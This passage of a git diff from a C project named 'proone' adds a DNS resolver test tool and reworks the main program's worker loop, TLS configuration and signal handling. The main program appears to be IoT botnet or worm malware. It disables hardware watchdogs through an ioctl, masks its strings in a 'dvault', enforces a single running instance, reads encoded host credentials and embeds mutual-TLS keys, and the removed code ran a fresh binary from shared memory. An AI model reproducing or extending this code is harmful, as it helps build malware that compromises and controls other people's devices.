(int)type, prne_data_type_tostr(type)); abort(); } diff --git a/src/proone-resolv.c b/src/proone-resolv.c new file mode 100644 index 0000000..3c035de --- /dev/null +++ b/src/proone-resolv.c @@ -0,0 +1,402 @@ +#include <stddef.h> +#include <stdbool.h> +#include <stdint.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <assert.h> +#include <ctype.h> + +#include <unistd.h> +#include <signal.h> +#include <regex.h> +#include <fcntl.h> +#include <sys/types.h> +#include <arpa/inet.h> + +#include <mbedtls/entropy.h> + +#include "util_rt.h" +#include "llist.h" +#include "resolv_worker.h" + + +static int caught_signal = 0; +static int int_pipe[2] = { -1, -1 }; +static regex_t prmpt_regex, empty_line_regex; + +static mbedtls_entropy_context entropy; +static mbedtls_ctr_drbg_context rnd; +static prne_wkr_sched_req_t wsr; + +static prne_wkr_pollfd_slot_pt stdin_pfd = NULL; +typedef struct { + prne_resolv_prm_t prm; + prne_wkr_pollfd_slot_pt slot; +} prm_tuple_t; +prne_llist_t prm_list; + +prne_resolv_wkr_ctx_t resolv = NULL; + +static void upperstr (char *str, const size_t n) { + for (size_t i = 0; i < n; i += 1) { + if ('a' <= str[i] && str[i] <= 'z') { + str[i] -= 'a' - 'A'; + } + } +} + +static bool printable_str (const char *str, const size_t n) { + for (size_t i = 0; i < n; i += 1) { + if (!isprint(str[i])) { + return false; + } + } + return true; +} + +static void proc_prompt_line (char *line, const size_t line_len) { + static regmatch_t rm[3]; + + if (regexec(&prmpt_regex, line, 3, rm, 0) == 0) { + char *verb, *obj; + size_t verb_len, obj_len; + prm_tuple_t tpl; + bool has_prm = false; + + assert(rm[1].rm_so >= 0 && rm[2].rm_so >= 0); + + verb = line + rm[1].rm_so; + verb_len = rm[1].rm_eo - rm[1].rm_so; + upperstr(verb, verb_len); + obj = line + rm[2].rm_so; + obj_len = rm[2].rm_eo - rm[2].rm_so; + obj[obj_len] = 0; + + if (strncmp(verb, "A", verb_len) == 0) { + has_prm = prne_resolv_prm_gethostbyname(resolv, obj, PRNE_IPV_4, &tpl.prm, NULL); + } + else if (strncmp(verb, "AAAA", verb_len) == 0) { + has_prm = prne_resolv_prm_gethostbyname(resolv, obj, PRNE_IPV_6, &tpl.prm, NULL); + } + else if (strncmp(verb, "TXT", verb_len) == 0) { + has_prm = prne_resolv_prm_gettxtrec(resolv, obj, &tpl.prm, NULL); + } + else { + abort(); + } + + if (has_prm) { + prm_tuple_t *e; + + tpl.slot = prne_alloc_wkr_pollfd_slot(&wsr); + tpl.slot->pfd.fd = tpl.prm.evtfd; + tpl.slot->pfd.events = POLLIN; + e = prne_malloc(sizeof(prm_tuple_t), 1); + memcpy(e, &tpl, sizeof(prm_tuple_t)); + + assert(prne_llist_append(&prm_list, e) != NULL); + } + else { + perror("* Queue failed"); + } + } + else if (line_len > 0 && regexec(&empty_line_regex, line, 0, NULL, 0) != 0) { + fprintf(stderr, "* Line not recognised.\n"); + } + + fprintf(stderr, "> "); + fflush(stderr); +} + +static void main_wkr_free (void *ctx) { + prne_llist_entry_t *cur; + + prne_free_wkr_pollfd_slot(stdin_pfd); + stdin_pfd = NULL; + + cur = prm_list.head; + while (cur != NULL) { + prm_tuple_t *tpl = (prm_tuple_t*)cur->element; + prne_free_wkr_pollfd_slot(tpl->slot); + prne_resolv_free_prm(&tpl->prm); + prne_free(tpl); + cur = cur->next; + } + + prne_free_llist(&prm_list); +} + +static void main_wkr_fin (void *ctx) { + prne_free_wkr_pollfd_slot(stdin_pfd); + stdin_pfd = NULL; +} + +static void main_wkr_work (void *ctx, const prne_wkr_tick_info_t *sched_info) { + if (stdin_pfd != NULL) { + if (stdin_pfd->pfd.revents & POLLIN) { + static char line_buf[512]; + static size_t line_buf_cnt = 0; + static bool missed_line = false; + int read_len; + + read_len = read(STDIN_FILENO, line_buf + line_buf_cnt, sizeof(line_buf) - line_buf_cnt); + if (read_len > 0) { + char *line_buf_end, *line, *line_end; + size_t line_len, consumed = 0; + + line_buf_cnt += (size_t)read_len; + line_buf_end = line_buf + line_buf_cnt; + line = line_buf; + while (line < line_buf_end) { + line_end = prne_strnchr(line, '\n', line_buf_end - line); + if (line_end == NULL) { + break; + } + + if (missed_line) { + missed_line = false; + } + else { + *line_end = 0; + line_len = line_end - line; + proc_prompt_line(line, line_len); + } + consumed += line_end - line + 1; + line = line_end + 1; + } + + if (consumed > 0) { + memmove(line_buf, line, line_buf_cnt - consumed); + line_buf_cnt -= consumed; + } + else { + line_buf_cnt = 0; + if (!missed_line) { + fprintf(stderr, "* Line too long!\n"); + } + missed_line = true; + } + } + else { + kill(getpid(), SIGTERM); + return; + } + } + else if (stdin_pfd->pfd.revents) { + kill(getpid(), SIGTERM); + return; + } + } + if (prm_list.size > 0) { + prm_tuple_t *tpl; + prne_llist_entry_t *cur; + bool output = false; + + cur = prm_list.head; + while (cur != NULL) { + tpl = (prm_tuple_t*)cur->element; + + assert((tpl->slot->pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) == 0); + + if (tpl->slot->pfd.revents) { + static char ntop_buf[INET6_ADDRSTRLEN]; + const char *qr_str, *status_str; + size_t i; + + output = true; + fprintf(stderr, "\n"); + + qr_str = prne_resolv_qr_tostr(tpl->prm.fut->qr); + assert(qr_str != NULL); + status_str = NULL; + if (tpl->prm.fut->qr == PRNE_RESOLV_QR_OK || tpl->prm.fut->qr == PRNE_RESOLV_QR_STATUS) { + status_str = prne_resolv_rcode_tostr(tpl->prm.fut->status); + } + if (status_str == NULL) { + status_str = ""; + } + printf("; qr: %7s, err: %3d, status: (%u)%s\n", + qr_str, tpl->prm.fut->err, tpl->prm.fut->status, status_str); + for (i = 0; i < tpl->prm.fut->rr_cnt; i += 1) { + prne_resolv_rr_t *rr = tpl->prm.fut->rr + i; + const char *type_str; + + type_str = prne_resolv_rrtype_tostr(rr->rr_type); + if (type_str == NULL) { + type_str = ""; + } + + printf(";\ttype: (%2u)%5s, ttl: %10u, len: %5u, name: %s\n", + rr->rr_type, type_str, rr->rr_ttl, rr->rd_len, rr->name); + switch (rr->rr_type) { + case PRNE_RESOLV_RTYPE_A: printf(";\t\t%s\n", inet_ntop(AF_INET, rr->rd_data, ntop_buf, INET6_ADDRSTRLEN)); break; + case PRNE_RESOLV_RTYPE_AAAA: printf(";\t\t%s\n", inet_ntop(AF_INET6, rr->rd_data, ntop_buf, INET6_ADDRSTRLEN)); break; + case PRNE_RESOLV_RTYPE_TXT: + if (isatty(STDOUT_FILENO) && !printable_str((const char *)rr->rd_data + 1, rr->rd_data[0])) { + printf(";\t\t* (binary data - unable to print on terminal)\n"); + } + else { + uint8_t tmp = rr->rd_data[0]; + + memmove(rr->rd_data, rr->rd_data + 1, tmp); + rr->rd_data[tmp] = 0; + printf(";\t\t%s\n", rr->rd_data); + memmove(rr->rd_data + 1, rr->rd_data, tmp); + rr->rd_data[0] = tmp; + } + break; + default: abort(); + } + } + printf(";\n"); + + prne_resolv_free_prm(&tpl->prm); + prne_free_wkr_pollfd_slot(tpl->slot); + prne_free(tpl); + cur = prne_llist_erase(&prm_list, cur); + } + else { + cur = cur->next; + } + } + + if (output) { + fprintf(stderr, "> "); + fflush(stdout); + fflush(stderr); + } + } +} + +static bool main_wkr_has_finalised (void *ctx) { + return stdin_pfd == NULL && prm_list.size == 0; +} + +static void init_main_wkr (prne_worker_t *wkr) { + wkr->ctx = NULL; + wkr->free = main_wkr_free; + wkr->fin = main_wkr_fin; + wkr->work = main_wkr_work; + wkr->has_finalised = main_wkr_has_finalised; + + stdin_pfd = prne_alloc_wkr_pollfd_slot(&wsr); + stdin_pfd->pfd.fd = STDIN_FILENO; + stdin_pfd->pfd.events = POLLIN; + + prne_init_llist(&prm_list); +} + +static void handle_interrupt (const int sn) { + caught_signal = sn; + write(int_pipe[1], &sn, 1); +} + +static void install_signal_handlers (void) { + struct sigaction sa; + + if (pipe(int_pipe) == 0) { + prne_set_pipe_size(int_pipe[0], 1); + prne_ok_or_die(fcntl(int_pipe[0], F_SETFL, O_NONBLOCK)); + prne_ok_or_die(fcntl(int_pipe[1], F_SETFL, O_NONBLOCK)); + prne_ok_or_die(fcntl(int_pipe[0], F_SETFD, FD_CLOEXEC)); + prne_ok_or_die(fcntl(int_pipe[1], F_SETFD, FD_CLOEXEC)); + } + + memset(&sa, 0, sizeof(struct sigaction)); + sa.sa_flags = SA_RESETHAND; + sa.sa_handler = handle_interrupt; + + sigaction(SIGINT, &sa, NULL); + sigaction(SIGTERM, &sa, NULL); +} + +int main (void) { + static prne_worker_t wkr_arr[2]; + static size_t i; + static prne_wkr_tick_info_t ti; + static int poll_ret; + static bool finalising = false; + static prne_wkr_pollfd_slot_pt int_pfd = NULL; + + /* org regex: (A|AAAA|TXT)\s+([a-z0-9\-\.]+) */ + assert(regcomp(&prmpt_regex, "(A|AAAA|TXT)\\s+([a-z0-9\\-\\.]+)", REG_ICASE | REG_EXTENDED) == 0); + /* org regex: ^\s+$ */ + assert(regcomp(&empty_line_regex, "^\\s+$", REG_NOSUB | REG_EXTENDED) == 0); + mbedtls_entropy_init(&entropy); + mbedtls_ctr_drbg_init(&rnd); + assert(mbedtls_ctr_drbg_seed(&rnd, mbedtls_entropy_func, &entropy, (const uint8_t*)PRNE_BUILD_ENTROPY, sizeof(PRNE_BUILD_ENTROPY) - 1) == 0); + prne_init_wkr_sched_req(&wsr); + prne_init_wkr_tick_info(&ti); + + prne_ok_or_die(fcntl(STDIN_FILENO, F_SETFL, O_NONBLOCK)); + install_signal_handlers(); + int_pfd = prne_alloc_wkr_pollfd_slot(&wsr); + int_pfd->pfd.fd = int_pipe[0]; + int_pfd->pfd.events = POLLIN; + + init_main_wkr(&wkr_arr[0]); + wkr_arr[0].id = 0; + resolv = prne_alloc_resolv_worker(&wkr_arr[1], &wsr, &rnd); + assert(resolv != NULL); + + fprintf(stderr, "> "); + fflush(stderr); + + prne_wkr_tick_info_set_start(&ti); + while (true) { + static bool worked; + + if (caught_signal && !finalising) { + int_pfd->pfd.fd = -1; + + for (i = 0; i < sizeof(wkr_arr) / sizeof(prne_worker_t); i += 1) { + if (wkr_arr[i].has_finalised(wkr_arr[i].ctx)) { + continue; + } + wkr_arr[i].fin(wkr_arr[i].ctx); + } + finalising = true; + } + + worked = false; + for (i = 0; i < sizeof(wkr_arr) / sizeof(prne_worker_t); i += 1) { + if (wkr_arr[i].has_finalised(wkr_arr[i].ctx)) { + if (!finalising) { + fprintf(stderr, "** worker #%zu finalised!\n", wkr_arr[i].id); + abort(); + } + } + else { + wkr_arr[i].work(wkr_arr[i].ctx, &ti); + worked = true; + } + } + if (!worked) { + break; + } + + poll_ret = -1; + if (prne_wkr_sched_req_prep_poll(&wsr)) { + prne_wkr_sched_req_do_poll(&wsr, &poll_ret); + } + prne_wkr_tick_info_set_tick(&ti); + prne_wkr_sched_req_refl_poll(&wsr, poll_ret, ti.tick_diff); + } + + for (i = 0; i < sizeof(wkr_arr) / sizeof(prne_worker_t); i += 1) { + wkr_arr[i].free(wkr_arr[i].ctx); + } + prne_free_wkr_pollfd_slot(int_pfd); + prne_free_wkr_sched_req(&wsr); + prne_free_wkr_tick_info(&ti); + + mbedtls_ctr_drbg_free(&rnd); + mbedtls_entropy_free(&entropy); + regfree(&prmpt_regex); + regfree(&empty_line_regex); + + fprintf(stderr, "\n"); + + return 0; +} diff --git a/src/proone-unpack.c b/src/proone-unpack.c index d865bd4..295fedb 100644 --- a/src/proone-unpack.c +++ b/src/proone-unpack.c @@ -109,7 +109,7 @@ int main (const int argc, const char **args) { } for (i = 0; i < bin_archive.nb_binaries; i += 1) { - arch_str = prne_arch2str(bin_archive.arch_arr[i]); + arch_str = prne_arch_tostr(bin_archive.arch_arr[i]); if (arch_str == NULL) { fprintf(stderr, "** unrecognised arch!"); exit_code = 2; @@ -137,12 +137,12 @@ int main (const int argc, const char **args) { exit_code = 2; break; } - close(fd); + prne_close(fd); } } while (false); prne_free(path); - close(fd); + prne_close(fd); prne_free_unpack_bin_archive_result(&unpack_ret); prne_free_bin_archive(&bin_archive); diff --git a/src/proone.c b/src/proone.c index c5354ff..be89d23 100644 --- a/src/proone.c +++ b/src/proone.c @@ -15,45 +15,43 @@ #include <sys/mman.h> #include <sys/file.h> #include <sys/wait.h> -#include <sys/random.h> #include "proone.h" +#include "protocol.h" #include "util_rt.h" #include "dvault.h" -#include "heartbeat-worker.h" +#include "llist.h" +// #include "htbt-worker.h" +#include "mbedtls.h" #include "proone_conf/x509.h" struct prne_global prne_g; struct prne_shared_global *prne_s_g = NULL; - -typedef struct { - prne_worker_t worker; - prne_worker_sched_req_t sched_req; -} worker_tuple_t; - -typedef struct { - struct pollfd *arr; - size_t size; -} pollfd_pool_t; - -static worker_tuple_t worker_pool[1]; -static size_t worker_pool_size = 0; +static prne_worker_t resolv_wkr; +static prne_worker_t htbt_wkr; +static prne_worker_t* wkr_arr[2] = { NULL, NULL }; +static prne_llist_t wkr_pool; static void (*proc_fin_call_ptr)(void) = NULL; static bool finalising = false; -static pollfd_pool_t pollfd_pool; - -static prne_rnd_engine_t *mk_rnd_engine (void); +static int int_pipe[2] = { -1, -1 }; +static prne_wkr_pollfd_slot_pt int_pfd = NULL; static void proc_fin_call (void) { if (prne_g.caught_signal != 0) { - size_t i; - worker_tuple_t *wt; + prne_llist_entry_t *cur = wkr_pool.head; + prne_worker_t *w; + + prne_free_wkr_pollfd_slot(int_pfd); + int_pfd = NULL; - for (i = 0; i < worker_pool_size; i += 1) { - wt = worker_pool + i; - wt->worker.fin(wt->worker.ctx); + while (cur != NULL) { + w = (prne_worker_t*)cur->element; + if (!w->has_finalised(w->ctx)) { + w->fin(w->ctx); + } + cur = cur->next; } proc_fin_call_ptr = prne_empty_func; @@ -61,164 +59,150 @@ static void proc_fin_call (void) { } } -static int proone_main (void) { - int exit_code = 0; - size_t i; - worker_tuple_t *wt; - prne_worker_sched_info_t sched_info; - - prne_g.rnd = mk_rnd_engine(); - - // done with the terminal - close(STDIN_FILENO); - close(STDOUT_FILENO); - close(STDERR_FILENO); +static void init_workers (prne_wkr_sched_req_t *sched_req) { + prne_g.resolv = prne_alloc_resolv_worker(&resolv_wkr, sched_req, &prne_g.ssl.rnd); + if (prne_g.resolv != NULL) { + resolv_wkr.id = PRNE_RESOLV_WKR_ID; + wkr_arr[0] = &resolv_wkr; + prne_llist_append(&wkr_pool, &resolv_wkr); + } +} -#ifndef PRNE_DEBUG - signal(SIGPIPE, SIG_IGN); +#ifdef PRNE_DEBUG +static void handle_sigpipe (const int sn) { + // ALWAYS poll() before writing to fd! + abort(); +} #endif - // init workers - if (prne_alloc_heartbeat_worker(&worker_pool[worker_pool_size].worker)) { - worker_pool_size += 1; - } +static int proone_main (void) { +#ifdef PRNE_DEBUG + static const struct timespec DBG_BUSY_CHECK_INT = { 1, 0 }; // 1s +#endif + static int exit_code = 0, poll_ret; + static prne_wkr_tick_info_t tick_info; + static prne_wkr_sched_req_t sched_req; + static prne_llist_entry_t *cur; + static prne_worker_t *wkr; +#ifdef PRNE_DEBUG + static struct { + prne_wkr_sched_req_t sched; + prne_wkr_timeout_slot_pt busy_tos; + bool sched_ret; + } dbg; +#endif - // TODO +#ifdef PRNE_DEBUG + signal(SIGPIPE, handle_sigpipe); +#else + signal(SIGPIPE, SIG_IGN); +#endif - for (i = 0; i < worker_pool_size; i += 1) { - prne_init_worker_sched_req(&worker_pool[i].sched_req, NULL); +#ifdef PRNE_DEBUG + prne_init_wkr_sched_req(&dbg.sched); + dbg.busy_tos = prne_alloc_wkr_timeout_slot(&dbg.sched); + assert(dbg.busy_tos != NULL); +#endif + prne_init_wkr_sched_req(&sched_req); + prne_init_wkr_tick_info(&tick_info); + prne_init_llist(&wkr_pool); + init_workers(&sched_req); + if (pipe(int_pipe) == 0) { + prne_set_pipe_size(int_pipe[0], 1); + prne_ok_or_die(fcntl(int_pipe[0], F_SETFL, O_NONBLOCK)); + prne_ok_or_die(fcntl(int_pipe[1], F_SETFL, O_NONBLOCK)); + prne_ok_or_die(fcntl(int_pipe[0], F_SETFD, FD_CLOEXEC)); + prne_ok_or_die(fcntl(int_pipe[1], F_SETFD, FD_CLOEXEC)); + } + int_pfd = prne_alloc_wkr_pollfd_slot(&sched_req); + if (int_pfd != NULL) { + int_pfd->pfd.fd = int_pipe[0]; + int_pfd->pfd.events = POLLIN; + } + + if (wkr_pool.size == 0) { + exit_code = 1; + goto END; } - - if (worker_pool_size == 0 || prne_g.caught_signal != 0) { + if (prne_g.caught_signal != 0) { goto END; } proc_fin_call_ptr = proc_fin_call; - - prne_succeed_or_die(clock_gettime(CLOCK_MONOTONIC, &sched_info.last_tick)); - pollfd_pool.arr = NULL; - pollfd_pool.size = 0; + prne_wkr_tick_info_set_start(&tick_info); while (true) { - prne_worker_sched_flag_t all_sched_flag = PRNE_WORKER_SCHED_FLAG_NONE; - struct timespec timeout; - size_t total_pollfd_size = 0; - bool worked = false; - - prne_succeed_or_die(clock_gettime(CLOCK_MONOTONIC, &sched_info.this_tick)); - sched_info.tick_diff = prne_sub_timespec(&sched_info.this_tick, &sched_info.last_tick); - sched_info.real_tick_diff = prne_real_timespec(&sched_info.tick_diff); - proc_fin_call_ptr(); - - for (i = 0; i < worker_pool_size; i += 1) { - wt = worker_pool + i; - - if (wt->worker.has_finalised(wt->worker.ctx)) { - continue; - } - wt->worker.work(wt->worker.ctx, &sched_info, &wt->sched_req); - worked |= true; + cur = wkr_pool.head; + while (cur != NULL) { + wkr = (prne_worker_t*)cur->element; - if (wt->sched_req.flags & PRNE_WORKER_SCHED_FLAG_TIMEOUT) { - if (all_sched_flag & PRNE_WORKER_SCHED_FLAG_TIMEOUT) { - if (prne_cmp_timespec(&timeout, &wt->sched_req.timeout) > 0) { - timeout = wt->sched_req.timeout; - } - } - else { - timeout = wt->sched_req.timeout; - } + if (wkr->has_finalised(wkr->ctx)) { + cur = prne_llist_erase(&wkr_pool, cur); } - if (wt->sched_req.flags & PRNE_WORKER_SCHED_FLAG_POLL) { - total_pollfd_size += wt->sched_req.pollfd_arr_size; + else { + wkr->work(wkr->ctx, &tick_info); + cur = cur->next; } - - all_sched_flag |= wt->sched_req.flags; } - sched_info.last_tick = sched_info.this_tick; - - if (!worked) { - if (!finalising) { - exit_code = 1; - } + if (wkr_pool.size == 0) { + exit_code = finalising ? 0 : 1; break; } - else if (all_sched_flag & PRNE_WORKER_SCHED_FLAG_POLL) { - void *ny_mem; - size_t pollfd_ptr; - - /* FIXME: `total_pollfd_size` could be zero if there's some bug in - * one of the workers. - */ - ny_mem = prne_realloc(pollfd_pool.arr, sizeof(struct pollfd), total_pollfd_size); - if (ny_mem != NULL) { - pollfd_pool.arr = (struct pollfd*)ny_mem; - pollfd_pool.size = total_pollfd_size; - - pollfd_ptr = 0; - for (i = 0; i < worker_pool_size; i += 1) { - wt = &worker_pool[i]; - - if (wt->worker.has_finalised(wt->worker.ctx)) { - continue; - } - - if (wt->sched_req.flags & PRNE_WORKER_SCHED_FLAG_POLL) { - wt->sched_req.pollfd_ready = false; - memcpy(pollfd_pool.arr + pollfd_ptr, wt->sched_req.pollfd_arr, wt->sched_req.pollfd_arr_size * sizeof(struct pollfd)); - pollfd_ptr += wt->sched_req.pollfd_arr_size; - } - } - if (ppoll(pollfd_pool.arr, pollfd_pool.size, all_sched_flag & PRNE_WORKER_SCHED_FLAG_TIMEOUT ? &timeout : NULL, NULL) < 0) { - switch (errno) { - case EINTR: - case ENOMEM: - break; - default: - abort(); - } - } - else { - pollfd_ptr = 0; - for (i = 0; i < worker_pool_size; i += 1) { - wt = &worker_pool[i]; - - if (wt->worker.has_finalised(wt->worker.ctx)) { - continue; - } - - if (wt->sched_req.flags & PRNE_WORKER_SCHED_FLAG_POLL) { - wt->sched_req.pollfd_ready = true; - memcpy(wt->sched_req.pollfd_arr, pollfd_pool.arr + pollfd_ptr, wt->sched_req.pollfd_arr_size); - pollfd_ptr += wt->sched_req.pollfd_arr_size; - } - } + poll_ret = -1; + if (prne_wkr_sched_req_prep_poll(&sched_req)) { +#ifdef PRNE_DEBUG + if (!sched_req.timeout_active && sched_req.pfd_arr_size == 0) { + if (!dbg.busy_tos->active) { + dbg.busy_tos->active = true; + dbg.busy_tos->dur = DBG_BUSY_CHECK_INT; } } + else { + dbg.busy_tos->active = false; + } + dbg.sched_ret = prne_wkr_sched_req_prep_poll(&dbg.sched); +#endif + prne_wkr_sched_req_do_poll(&sched_req, &poll_ret); } - else if (all_sched_flag & PRNE_WORKER_SCHED_FLAG_TIMEOUT) { - if (nanosleep(&timeout, NULL) < 0 && errno != EINTR) { - abort(); + else { +#ifdef PRNE_DEBUG + dbg.busy_tos->active = false; + dbg.sched_ret = false; +#endif + } + prne_wkr_tick_info_set_tick(&tick_info); + prne_wkr_sched_req_refl_poll(&sched_req, poll_ret, tick_info.tick_diff); +#ifdef PRNE_DEBUG + if (dbg.sched_ret) { + prne_wkr_sched_req_refl_poll(&dbg.sched, 0, tick_info.tick_diff); + if (dbg.busy_tos->active && dbg.busy_tos->reached) { + const double real_int = prne_real_timespec(DBG_BUSY_CHECK_INT); + dbg.busy_tos->active = false; + fprintf(stderr, "* workers have been busy for %.1f second%s straight.\n", real_int, real_int <= 1.0 ? "" : "s"); } } +#endif } END: - prne_free(pollfd_pool.arr); - pollfd_pool.arr = NULL; - pollfd_pool.size = 0; - - for (i = 0; i < worker_pool_size; i += 1) { - wt = &worker_pool[i]; - wt->worker.free(wt->worker.ctx); - wt->sched_req.mem_func.free(&wt->sched_req); - } - - prne_free_rnd_engine(prne_g.rnd); - prne_g.rnd = NULL; + for (size_t i = 0; i < sizeof(wkr_arr) / sizeof(prne_worker_t*); i += 1) { + if (wkr_arr[i] == NULL) { + continue; + } + wkr_arr[i]->free(wkr_arr[i]->ctx); + wkr_arr[i] = NULL; + } + prne_free_llist(&wkr_pool); + prne_free_wkr_pollfd_slot(int_pfd); + prne_free_wkr_tick_info(&tick_info); + prne_free_wkr_sched_req(&sched_req); +#ifdef PRNE_DEBUG + prne_free_wkr_timeout_slot(dbg.busy_tos); + prne_free_wkr_sched_req(&dbg.sched); +#endif return exit_code; } @@ -226,7 +210,7 @@ END: static bool ensure_single_instance (void) { prne_g.lock_shm_fd = shm_open( prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_PROC_LIM_SHM, NULL), - O_RDWR | O_CREAT | O_TRUNC, + O_RDWR | O_CREAT, 0666); prne_dvault_reset_dict(); if (prne_g.lock_shm_fd < 0) { @@ -234,7 +218,7 @@ static bool ensure_single_instance (void) { } if (flock(prne_g.lock_shm_fd, LOCK_EX | LOCK_NB) < 0) { - close(prne_g.lock_shm_fd); + prne_close(prne_g.lock_shm_fd); prne_g.lock_shm_fd = -1; return false; @@ -278,7 +262,7 @@ static void disasble_watchdog (void) { for (i = 0; i < sizeof(watchdog_paths) / sizeof(const char*); i += 1) { if ((fd = open(watchdog_paths[i], O_RDWR)) >= 0) { ioctl(fd, 0x80045704, &one); - close(fd); + prne_close(fd); break; } } @@ -286,11 +270,10 @@ static void disasble_watchdog (void) { } static void handle_interrupt (const int sig) { - prne_g.caught_signal = sig; + uint8_t rubbish = 0; - if (prne_g.proone_pid != 0) { - kill(prne_g.proone_pid, sig); - } + prne_g.caught_signal = sig; + write(int_pipe[1], &rubbish, 1); } static void setup_signal_actions (void) { @@ -305,30 +288,6 @@ static void setup_signal_actions (void) { sigaction(SIGTERM, &sa, NULL); } -static void print_ready_signature (prne_rnd_engine_t *rnd) { - size_t len; - uint8_t *sig_data; - char *plain_str, *sig_str; - - plain_str = prne_dvault_unmask_entry_cstr(PRNE_DATA_KEY_SIGN_INIT_OK, &len); - - sig_data = (uint8_t*)prne_malloc(1, len + 1); - sig_data[0] = (uint8_t)(prne_rnd_gen_int(rnd) % 256); - memcpy(sig_data + 1, plain_str, len); - prne_dvault_reset_dict(); - prne_dvault_invert_mem(len, sig_data + 1, sig_data[0]); - - sig_str = prne_enc_base64_mem(sig_data, len); - if (sig_str == NULL) { - abort(); - } - - puts(sig_str); - - prne_free(sig_str); - prne_free(sig_data); -} - static void read_host_credential (void) { static const size_t buf_size = (1 + 2 + 255 * 2) * 4 / 3; char *buf = (char*)prne_malloc(1, buf_size); @@ -345,8 +304,12 @@ static void read_host_credential (void) { break; } } - if (found) { - prne_dec_base64_mem(buf, i, &prne_g.host_cred_data, &prne_g.host_cred_size); + if (found && + prne_dec_base64_mem(buf, i, &prne_g.host_cred_data, &prne_g.host_cred_size) && + prne_g.host_cred_size > 1 + 2 + 255 * 2) { + prne_free(prne_g.host_cred_data); + prne_g.host_cred_data = NULL; + prne_g.host_cred_size = 0; } END: @@ -357,143 +320,54 @@ static void set_env (void) { // environment set up function calls in here } -static void create_ny_bin_shm (prne_rnd_engine_t *rnd) { - const size_t str_len = 1 + 10; - - prne_g.ny_bin_shm_name = prne_malloc(1, str_len + 1); - if (prne_g.ny_bin_shm_name == NULL) { - return; - } - - prne_g.ny_bin_shm_name[0] = '/'; - prne_g.ny_bin_shm_name[str_len] = 0; - prne_rnd_anum_str(rnd, prne_g.ny_bin_shm_name + 1, str_len - 1); - - prne_g.ny_bin_shm_fd = shm_open(prne_g.ny_bin_shm_name, O_RDWR | O_CREAT | O_TRUNC, 0000); - if (prne_g.ny_bin_shm_fd < 0) { - prne_free(prne_g.ny_bin_shm_name); - prne_g.ny_bin_shm_name = NULL; - } -} - -static void exec_ny_bin (void) { - // Just die on error - static const size_t proc_fd_path_size = 14 + 11 + 1; - uint8_t *data, *bin = NULL; - size_t i, args_size, bin_size, argc = 0, cnt; - char *arg_str; - const char **args; - struct stat st; - char *proc_fd_path; - char *real_shm_path; - - if (prne_g.ny_bin_shm_fd < 0) { - return; - } - - if (fstat(prne_g.ny_bin_shm_fd, &st) < 0 || st.st_size < 0) { - abort(); - } - if (st.st_size == 0) { - if (prne_s_g->has_ny_bin) { - abort(); +static void load_ssl_conf (void) { + if (mbedtls_x509_crt_parse(&prne_g.ssl.ca, (const uint8_t*)PRNE_X509_CA_CRT, sizeof(PRNE_X509_CA_CRT) - 1) == 0) { + prne_g.s_ssl.ready = + mbedtls_ssl_config_defaults(&prne_g.s_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 && + mbedtls_x509_crt_parse(&prne_g.s_ssl.crt, (const uint8_t*)PRNE_X509_S_CRT, sizeof(PRNE_X509_S_CRT) - 1) == 0 && + mbedtls_pk_parse_key(&prne_g.s_ssl.pk, (const uint8_t*)PRNE_X509_S_KEY, sizeof(PRNE_X509_S_KEY) - 1, NULL, 0) == 0 && + mbedtls_dhm_parse_dhm(&prne_g.s_ssl.dhm, (const uint8_t*)PRNE_X509_DH, sizeof(PRNE_X509_DH) - 1) == 0 && + mbedtls_ssl_conf_own_cert(&prne_g.s_ssl.conf, &prne_g.s_ssl.crt, &prne_g.s_ssl.pk) == 0 && + mbedtls_ssl_conf_dh_param_ctx(&prne_g.s_ssl.conf, &prne_g.s_ssl.dhm) == 0; + if (prne_g.s_ssl.ready) { + mbedtls_ssl_conf_ca_chain(&prne_g.s_ssl.conf, &prne_g.ssl.ca, NULL); + // mutual auth + mbedtls_ssl_conf_authmode(&prne_g.s_ssl.conf, MBEDTLS_SSL_VERIFY_REQUIRED); + // ignore expired cert (system wall clock might not be set) + mbedtls_ssl_conf_verify(&prne_g.s_ssl.conf, prne_mbedtls_x509_crt_verify_cb, NULL); } - return; - } - data = (uint8_t*)mmap(NULL, (size_t)st.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, prne_g.ny_bin_shm_fd, 0); - for (i = 1; i <= (size_t)st.st_size; i += 1) { - if (data[st.st_size - i] == 0) { - bin = &data[st.st_size - i + 1]; - break; - } - } - - if (bin == NULL) { - abort(); - } - args_size = bin - data; - bin_size = st.st_size - args_size; - arg_str = prne_malloc(1, args_size); - memcpy(arg_str, data, args_size); - - memmove(bin, data, bin_size); - - munmap(data, (size_t)st.st_size); - data = NULL; - ftruncate(prne_g.ny_bin_shm_fd, bin_size); - for (i = 0; i < args_size; i += 1) { - if (arg_str[i] == 0) { - argc += 1; + prne_g.c_ssl.ready = + mbedtls_ssl_config_defaults(&prne_g.c_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 && + mbedtls_x509_crt_parse(&prne_g.c_ssl.crt, (const uint8_t*)PRNE_X509_C_CRT, sizeof(PRNE_X509_C_CRT) - 1) == 0 && + mbedtls_pk_parse_key(&prne_g.c_ssl.pk, (const uint8_t*)PRNE_X509_C_KEY, sizeof(PRNE_X509_C_KEY) - 1, NULL, 0) == 0 && + mbedtls_ssl_conf_own_cert(&prne_g.c_ssl.conf, &prne_g.c_ssl.crt, &prne_g.c_ssl.pk) == 0; + if (prne_g.c_ssl.ready) { + mbedtls_ssl_conf_ca_chain(&prne_g.c_ssl.conf, &prne_g.ssl.ca, NULL); + // mutual auth + mbedtls_ssl_conf_authmode(&prne_g.c_ssl.conf, MBEDTLS_SSL_VERIFY_REQUIRED); + // ignore expired cert (system wall clock might not be set) + mbedtls_ssl_conf_verify(&prne_g.c_ssl.conf, prne_mbedtls_x509_crt_verify_cb, NULL); } } - args = prne_malloc(sizeof(const char*), argc + 1); - cnt = 1; - for(i = 1; cnt < argc; i += 1) { - if (arg_str[i] == 0) { - args[cnt] = &arg_str[i + 1]; - cnt += 1; - } - } - args[argc] = NULL; - - proc_fd_path = prne_malloc(1, proc_fd_path_size); - snprintf(proc_fd_path, proc_fd_path_size, "/proc/self/fd/%d", prne_g.ny_bin_shm_fd); - if 